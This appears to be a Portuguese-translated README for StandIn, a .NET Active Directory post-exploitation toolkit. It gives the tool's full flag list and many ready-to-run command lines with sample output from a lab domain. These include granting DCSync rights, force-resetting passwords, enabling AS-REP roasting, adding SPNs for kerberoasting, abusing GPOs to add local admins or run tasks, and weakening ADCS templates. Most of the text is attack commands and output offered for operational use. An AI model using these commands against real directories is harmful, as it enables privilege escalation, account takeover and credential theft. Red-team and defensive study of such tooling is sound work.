
StandIn é um pequeno kit de pós-exploração AD .NET35/45
StandIn é um pequeno toolkit pós-comprometimento para AD. O StandIn surgiu porque recentemente na xforcered precisávamos de uma solução nativa .NET para realizar delegação restrita baseada em recursos. No entanto, o StandIn rapidamente se expandiu para incluir uma série de funcionalidades adicionais.
Pretendo continuar desenvolvendo o StandIn para aprender mais sobre programação de Serviços de Diretório e, esperançosamente, expandir uma ferramenta que se encaixe na cadeia de ferramentas de pós-exploração de AD.
Contribuições são muito bem-vindas. Por favor, garanta que os pull requests incluam os seguintes itens: descrição da funcionalidade, breve explicação técnica e saída de exemplo.
Tem algo que gostaria de ver adicionado ao StandIn, mas não tem um PR? Por favor, abra um ticket e descreva a funcionalidade da melhor forma possível.
Os seguintes itens estão atualmente no radar para implementação em versões futuras do StandIn.
__ ( / _// ~b33f __)/(//)(/(/) v1.4
--
--> Args? <----<
--help This help menu --object LDAP filter, e.g. samaccountname=HWest --ldap LDAP filter, can return result collection --filter Filter results, varies based on function --limit Limit results, varies based on function, defaults to 50 --computer Machine name, e.g. Celephais-01 --group samAccountName, e.g. "Necronomicon Admins" --ntaccount User name, e.g. "REDHOOK\UPickman" --sid Dependent on context --grant User name, e.g. "REDHOOK\KMason" --guid Rights GUID to add to object, e.g. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 --domain Domain name, e.g. REDHOOK --user User name --pass Password --newpass New password to set for object --gpo List group policy objects --acl Show ACL's for returned GPO's --localadmin Add samAccountName to BUILTIN\Administrators for vulnerable GPO --setuserrights samAccountName for which to add token rights in a vulnerable GPO --tasktype Immediate task type (user/computer) --taskname Immediate task name --author Immediate task author --command Immediate task command --args Immediate task command args --target Optional, filter for DNS name or NTAccount --targetsid Optional, provider user SID --increase Increment either the user or computer GPO version number for the AD object --policy Reads some account/kerberos properties from the "Default Domain Policy" --dns Performs ADIDNS enumeration, supports wildcard filters --legacy Boolean, sets DNS seach root to legacy (CN=System) --forest Boolean, sets DNS seach root to forest (DC=ForestDnsZones) --passnotreq Boolean, list accounts that have PASSWD_NOTREQD set --type Rights type: GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync --spn Boolean, list kerberoastable accounts --setspn samAccountName for which to add/remove an SPN --principal Principal name to add to samAccountName (e.g. MSSQL/VermisMysteriis) --delegation Boolean, list accounts with unconstrained / constrained delegation --asrep Boolean, list ASREP roastable accounts --dc Boolean, list all domain controllers --trust Boolean, list all trust relationships --adcs List all CA's and all published templates --clientauth Boolean, modify ADCS template to add/remove "Client Authentication" --ess Boolean, modify ADCS template to add/remove "ENROLLEE_SUPPLIES_SUBJECT" --pend Boolean, modify ADCS template to add/remove "PEND_ALL_REQUESTS" --owner Boolean, modify ADCS template owner --write Boolean, modify ADCS template, add/remove WriteDacl/WriteOwner/WriteProperty permission for NtAccount --enroll Boolean, modify ADCS template, add/remove "Certificate-Enrollment" permission for NtAccount --add Boolean, context dependent group/spn/adcs --remove Boolean, context dependent msDS-AllowedToActOnBehalfOfOtherIdentity/group/adcs --make Boolean, make machine; ms-DS-MachineAccountQuota applies --disable Boolean, disable machine; should be the same user that created the machine --access Boolean, list access permissions for object --delete Boolean, delete machine from AD; requires elevated AD access
--
--> Usage? <----<
StandIn.exe --ldap "(&(samAccountType=805306368)(servicePrincipalName=)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" StandIn.exe --ldap servicePrincipalName= --domain redhook --user RFludd --pass Cl4vi$Alchemi4e --limit 10 StandIn.exe --ldap servicePrincipalName=* --filter "pwdlastset, distinguishedname, lastlogon" --limit 100
StandIn.exe --object "(&(samAccountType=805306368)(servicePrincipalName=vermismysteriis.redhook.local))" StandIn.exe --object samaccountname=Celephais-01$ --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --object samaccountname=Celephais-01$ --filter "pwdlastset, serviceprincipalname, objectsid"
StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --access StandIn.exe --object samaccountname=Rllyeh$ --access --ntaccount "REDHOOK\EDerby" StandIn.exe --object samaccountname=JCurwen --access --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --type DCSync StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 StandIn.exe --object samaccountname=SomeTarget001$ --grant "REDHOOK\MBWillett" --type GenericWrite --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=SomeTarget001$ --newpass "Arkh4mW1tch!" StandIn.exe --object samaccountname=BJenkin --newpass "Dr34m1nTh3H#u$e" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=HArmitage --asrep StandIn.exe --object samaccountname=FMorgan --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=TMalone --asrep --remove StandIn.exe --object samaccountname=RSuydam --asrep --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --asrep StandIn.exe --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --limit 20 StandIn.exe --gpo --filter admin --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --gpo --filter admin --acl --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --localadmin JCurwen StandIn.exe --gpo --filter ArcanePolicy --localadmin JCurwen --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --setuserrights JCurwen --grant "SeTcbPrivilege,SeDebugPrivilege" StandIn.exe --gpo --filter ArcanePolicy --setuserrights JCurwen --grant SeLoadDriverPrivilege --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --target Rllyeh.redhook.local StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype user --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --target "REDHOOK\RBloch" --targetsid S-1-5-21-315358687-3711474269-2098994107-1106 StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --increase --tasktype user StandIn.exe --gpo --filter ArcanePolicy --increase --tasktype computer --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --policy StandIn.exe --policy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --limit 20 StandIn.exe --dns --filter SQL --limit 10 StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --passnotreq StandIn.exe --passnotreq --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --sid JCurwen StandIn.exe --sid S-1-5-21-315358687-3711474269-2098994107-1105 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --spn StandIn.exe --spn --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --setspn RSuydam --principal MSSQL/VermisMysteriis --add StandIn.exe --setspn RSuydam --principal MSSQL/VermisMysteriis --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --delegation StandIn.exe --delegation --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dc
StandIn.exe --trust
StandIn.exe --group Literarum StandIn.exe --group "Magna Ultima" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --group JCurwen --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --group "Dunwich Council" --ntaccount "REDHOOK\WWhateley" --add StandIn.exe --group DAgon --ntaccount "REDHOOK\RCarter" --add --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --group "Dunwich Council" --ntaccount "REDHOOK\WWhateley" --remove StandIn.exe --group DAgon --ntaccount "REDHOOK\RCarter" --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs StandIn.exe --adcs --filter Kingsport StandIn.exe --adcs --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --clientauth --add StandIn.exe --adcs --filter Kingsport --clientauth --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ess --add StandIn.exe --adcs --filter Kingsport --ess --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --pend --add StandIn.exe --adcs --filter Kingsport --pend --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --owner StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --owner --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --write --add StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --write --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --enroll --add StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --enroll --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Innsmouth --make StandIn.exe --computer Innsmouth --make --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Arkham --disable StandIn.exe --computer Arkham --disable --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Danvers --delete StandIn.exe --computer Danvers --delete --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543 StandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Miskatonic --remove StandIn.exe --computer Miskatonic --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
## Operações com Objetos LDAP
Todas as operações `--object` esperam que o filtro LDAP retorne um único objeto e irão sair se sua consulta retornar mais. Isto é proposital. Se você deseja obter um array de objetos, deve usar `--ldap`.
### LDAP Bruto
#### Caso de Uso
> *Operacionalmente, podemos querer recuperar um array de objetos AD e, opcionalmente, filtrar e/ou limitar os resultados e propriedades.*
#### Sintaxe
Obter todas as propriedades dos objetos resolvidos. As consultas podem ser correspondências simples para uma única propriedade ou filtros LDAP complexos. Opcionalmente, limite os resultados retornados com `--limit`.```
C:\> StandIn.exe --ldap "(&(displayName=*)(gpcfilesyspath=*))" --filter "gpcfilesyspath,versionnumber"
[?] Using DC : m-w16-dc01.main.redhook.local
[+] LDAP search result count : 3
|_ Result limit : 50
[?] Iterating result properties
|_ Applying property filter => gpcfilesyspath,versionnumber
[?] Object : CN={6AC1786C-016F-11D2-945F-00C04fB984F9}
Path : LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 0
|_ Computer Version : 1
[+] gpcfilesyspath
|_ \\redhook.local\sysvol\redhook.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9}
Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 0
|_ Computer Version : 11
[+] gpcfilesyspath
|_ \\redhook.local\sysvol\redhook.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
[?] Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 2
|_ Computer Version : 4
[+] gpcfilesyspath
|_ \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
Operacionalmente, podemos querer ver todas as propriedades de um objeto específico no AD. Um exemplo comum seria ver de quais grupos uma conta de usuário é membro ou quando uma conta de usuário autenticou pela última vez no domínio.
Retorna o objeto resolvido. As consultas podem ser correspondências simples para uma única propriedade ou filtros LDAP complexos. Opcionalmente, filtre as propriedades que deseja obter com --filter.```
C:> StandIn.exe --object samaccountname=m-10-1909-01$
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-01 Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[?] Iterating object properties
[+] logoncount |_ 360 [+] codepage |_ 0 [+] objectcategory |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local [+] iscriticalsystemobject |_ False [+] operatingsystem |_ Windows 10 Enterprise [+] usnchanged |_ 195797 [+] instancetype |_ 4 [+] name |_ M-10-1909-01 [+] badpasswordtime |_ 0x0 [+] pwdlastset |_ 10/9/2020 4:42:02 PM UTC [+] serviceprincipalname |_ TERMSRV/M-10-1909-01 |_ TERMSRV/m-10-1909-01.main.redhook.local |_ WSMAN/m-10-1909-01 |_ WSMAN/m-10-1909-01.main.redhook.local |_ RestrictedKrbHost/M-10-1909-01 |_ HOST/M-10-1909-01 |_ RestrictedKrbHost/m-10-1909-01.main.redhook.local |_ HOST/m-10-1909-01.main.redhook.local [+] objectclass |_ top |_ person |_ organizationalPerson |_ user |_ computer [+] badpwdcount |_ 0 [+] samaccounttype |_ SAM_MACHINE_ACCOUNT [+] lastlogontimestamp |_ 11/1/2020 7:40:09 PM UTC [+] usncreated |_ 31103 [+] objectguid |_ 17c80232-2ee6-47e1-9ab5-22c51c268cf0 [+] localpolicyflags |_ 0 [+] whencreated |_ 7/9/2020 4:59:55 PM [+] adspath |_ LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] useraccountcontrol |_ WORKSTATION_TRUST_ACCOUNT [+] cn |_ M-10-1909-01 [+] countrycode |_ 0 [+] primarygroupid |_ 515 [+] whenchanged |_ 11/2/2020 7:59:32 PM [+] operatingsystemversion |_ 10.0 (18363) [+] dnshostname |_ m-10-1909-01.main.redhook.local [+] dscorepropagationdata |_ 10/30/2020 6:56:30 PM |_ 10/25/2020 1:28:32 AM |_ 7/16/2020 2:15:26 PM |_ 7/15/2020 8:54:17 PM |_ 1/1/1601 12:04:17 AM [+] lastlogon |_ 11/3/2020 10:21:11 AM UTC [+] distinguishedname |_ CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] msds-supportedencryptiontypes |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [+] samaccountname |_ M-10-1909-01$ [+] objectsid |_ S-1-5-21-1293271031-3053586410-2290657902-1126 [+] lastlogoff |_ 0 [+] accountexpires |_ 0x7FFFFFFFFFFFFFFF
### Obter permissões de acesso ao objeto
#### Caso de Uso
> *Em certas fases do engajamento, o operador pode querer resolver as permissões de acesso para um objeto específico no AD. Muitas permissões podem oferecer uma via operacional para expandir o acesso ou alcançar objetivos. Por exemplo, uma permissão WriteDacl em um grupo poderia permitir que o operador conceda a si mesmo permissões para adicionar um novo usuário ao grupo. Ferramentas como [SharpHound](https://github.com/BloodHoundAD/SharpHound3) já, em muitos casos, revelam essas fraquezas de Dacl.*
#### Sintaxe
Recupere as regras do Active Directory que se aplicam ao objeto resolvido e traduza quaisquer GUIDs de esquema / direitos para seus nomes amigáveis. Opcionalmente, filtre os resultados por um nome de NTAccount.```
C:\>StandIn.exe --object samaccountname=m-10-1909-01$ --access
[?] Using DC : m-w19-dc01.main.redhook.local
[?] Object : CN=M-10-1909-01
Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\domainjoiner
|_ Group : MAIN\Domain Join
[+] Object access rules
[+] Identity --> NT AUTHORITY\SELF
|_ Type : Allow
|_ Permission : CreateChild, DeleteChild
|_ Object : ANY
[+] Identity --> NT AUTHORITY\Authenticated Users
|_ Type : Allow
|_ Permission : GenericRead
|_ Object : ANY
[... Snip ...]
C:\> StandIn.exe --object samaccountname=m-10-1909-01$ --access --ntaccount "MAIN\domainjoiner"
[?] Using DC : m-w19-dc01.main.redhook.local
[?] Object : CN=M-10-1909-01
Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\domainjoiner
|_ Group : MAIN\Domain Join
[+] Object access rules
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : DeleteTree, ExtendedRight, Delete, GenericRead
|_ Object : ANY
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : User-Account-Restrictions
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : servicePrincipalName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : dNSHostName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : sAMAccountName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : displayName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : description
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : User-Logon
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : DS-Validated-Write-Computer
Com os direitos apropriados, o operador pode conceder a um NTAccount permissões especiais sobre um objeto específico no AD. Por exemplo, se um operador tiver privilégios GenericAll sobre uma conta de usuário, ele pode conceder a si mesmo ou a um NTAccount de terceiros permissão para alterar a senha do usuário sem saber a senha atual.
Adicione permissão ao objeto resolvido para um NTAccount especificado. O StandIn suporta um pequeno conjunto de privilégios predefinidos (GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync), mas também permite que os operadores especifiquem um guid de direitos personalizado usando a flag --guid.```
C:> whoami
main\s4uuser
C:> StandIn.exe --group lowPrivButMachineAccess
[?] Using DC : m-w19-dc01.main.redhook.local [?] Group : lowPrivButMachineAccess GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Members
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : s4uUser Type : User SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\lowPrivButMachineAccess"
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Object access rules
[+] Identity --> MAIN\lowPrivButMachineAccess |_ Type : Allow |_ Permission : WriteDacl |_ Object : ANY
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --grant "MAIN\s4uuser" --type DCSync
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Set object access rules |_ Success, added dcsync privileges to object for MAIN\s4uuser
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\s4uUser"
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Object access rules
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes-All
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes-In-Filtered-Set
### Definir senha do objeto
#### Caso de Uso
> *Se o operador tiver permissões `User-Force-Change-Password` sobre um objeto de usuário, ele pode alterar a senha dessa conta de usuário sem saber a senha atual. Essa ação é destrutiva, pois o usuário não conseguirá mais se autenticar, o que pode levantar alarmes.*
#### Sintaxe
Definir a senha do objeto resolvido sem saber a senha atual.```
C:\> whoami
main\s4uuser
C:\> StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\lowPrivButMachineAccess"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Object access rules
[+] Identity --> MAIN\lowPrivButMachineAccess
|_ Type : Allow
|_ Permission : WriteDacl
|_ Object : ANY
C:\> StandIn.exe --object "samaccountname=user005" --grant "MAIN\s4uuser" --type resetpassword
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Set object access rules
|_ Success, added resetpassword privileges to object for MAIN\s4uuser
C:\> StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\s4uUser"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Object access rules
[+] Identity --> MAIN\s4uUser
|_ Type : Allow
|_ Permission : ExtendedRight
|_ Object : User-Force-Change-Password
C:\> StandIn.exe --object "samaccountname=user005" --newpass "Arkh4mW1tch!"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Setting account password
|_ Success, password set for object
Se o operador tiver acesso de escrita a uma conta de utilizador, pode modificar os flags
userAccountControldo utilizador para incluirDONT_REQUIRE_PREAUTH. Isso permite que o operador solicite um hash AS-REP para o utilizador que pode ser quebrado offline. Este processo é muito semelhante ao kerberoasting. Esta ação não é destrutiva, mas depende do facto de o utilizador ter uma palavra-passe que possa ser quebrada num prazo razoável.
Adicionar e remover DONT_REQUIRE_PREAUTH dos flags userAccountControl do objeto resolvido.```
C:> StandIn.exe --object "samaccountname=user005" --asrep
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=User 005 Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD
[+] Updating userAccountControl.. |_ Success
C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 1 object(s) that do not require Kerberos preauthentication..
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
C:> StandIn.exe --object "samaccountname=user005" --asrep --remove
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=User 005 Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
[+] Updating userAccountControl.. |_ Success
C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 0 object(s) that do not require Kerberos preauthentication..
## SID
#### Caso de Uso
> *Às vezes você tem um `SID` ou `samAccountName` e precisa obter o outro. Esta é uma função auxiliar simples para fazer isso por você.*
#### Sintaxe
Converta `SID` ou `samAccountName` para o `SID` do usuário e `NTAccount`.```
C:\> StandIn.exe --sid user001
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[+] User : REDHOOK.LOCAL\user001
SID : S-1-5-21-315358687-3711474269-2098994107-1105
C:\> StandIn.exe --sid S-1-5-21-315358687-3711474269-2098994107-1105
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[+] User : REDHOOK.LOCAL\user001
SID : S-1-5-21-315358687-3711474269-2098994107-1105
Esta função enumera todas as contas no AD que estão atualmente habilitadas e possuem
DONT_REQUIRE_PREAUTHcomo parte das suas flagsuserAccountControl. Essas contas podem ser AS-REP roasted, este processo é muito semelhante ao kerberoasting.
Retorna todas as contas que são ASREP roastable.``` C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 1 object(s) that do not require Kerberos preauthentication..
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
## PASSWD_NOTREQD
#### Caso de Uso
> *Esta função enumera todas as contas no AD que estão atualmente habilitadas e têm `PASSWD_NOTREQD` como parte de suas flags `userAccountControl`. Essas contas podem ter senhas em branco apesar da imposição de GPO, mas também podem ter uma senha configurada.*
#### Sintaxe
Retorna todas as contas que possuem `PASSWD_NOTREQD` definido.```
C:\> StandIn.exe --passnotreq
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 2 object(s) that do not require a password..
[*] SamAccountName : passnotreq
DistinguishedName : CN=passnotreq,CN=Users,DC=redhook,DC=local
PwdLastSet : 6/6/2021 10:47:27 PM UTC
lastlogon : 0x0
userAccountControl : PASSWD_NOTREQD, NORMAL_ACCOUNT
[*] SamAccountName : REDHOOKSLSRV$
DistinguishedName : CN=RedHookSLSRV,CN=Computers,DC=redhook,DC=local
PwdLastSet : 6/6/2021 10:51:37 PM UTC
lastlogon : 0x0
userAccountControl : PASSWD_NOTREQD, WORKSTATION_TRUST_ACCOUNT
Estas funções lidam especificamente com SPNs.
Esta função enumera todas as contas no AD que estão atualmente habilitadas e podem sofrer kerberoasting. Algumas informações básicas da conta são adicionadas para contexto: quando a senha foi definida pela última vez, quando a conta foi usada pela última vez e quais tipos de criptografia são suportados.
Retorna todas as contas que são kerberoastable.``` C:> StandIn.exe --spn
[?] Using DC : m-w16-dc01.main.redhook.local [?] Found 1 kerberostable users..
[*] SamAccountName : SimCritical DistinguishedName : CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local ServicePrincipalName : ldap/M-2012R2-03.main.redhook.local PwdLastSet : 11/2/2020 7:06:17 PM UTC lastlogon : 0x0 Supported ETypes : RC4_HMAC_DEFAULT
### Set SPN
#### Use Case
> *Com as permissões apropriadas, esta função permite adicionar e remover um `SPN` de um `samAccountName`.*
#### Syntax
Adicionar e remover `SPN's` de um `samAccountName`.```
C:\> StandIn.exe --setspn user001 --principal MSSQL/Alchimiae --add
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[*] SamAccountName : user001
DistinguishedName : CN=user 001,CN=Users,DC=redhook,DC=local
[+] Adding servicePrincipalName : MSSQL/Alchimiae
|_ Success
C:\> StandIn.exe --object samaccountname=user001 --filter serviceprincipalname
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[?] Iterating object properties
|_ Applying property filter => serviceprincipalname
[+] serviceprincipalname
|_ HTTP/Alchimiae
|_ MSSQL/Alchimiae
C:\>StandIn.exe --setspn user001 --principal HTTP/Alchimiae --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[*] SamAccountName : user001
DistinguishedName : CN=user 001,CN=Users,DC=redhook,DC=local
ServicePrincipalName : HTTP/Alchimiae
MSSQL/Alchimiae
[+] Removing servicePrincipalName : HTTP/Alchimiae
|_ Success
C:\> StandIn.exe --object samaccountname=user001 --filter serviceprincipalname
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[?] Iterating object properties
|_ Applying property filter => serviceprincipalname
[+] serviceprincipalname
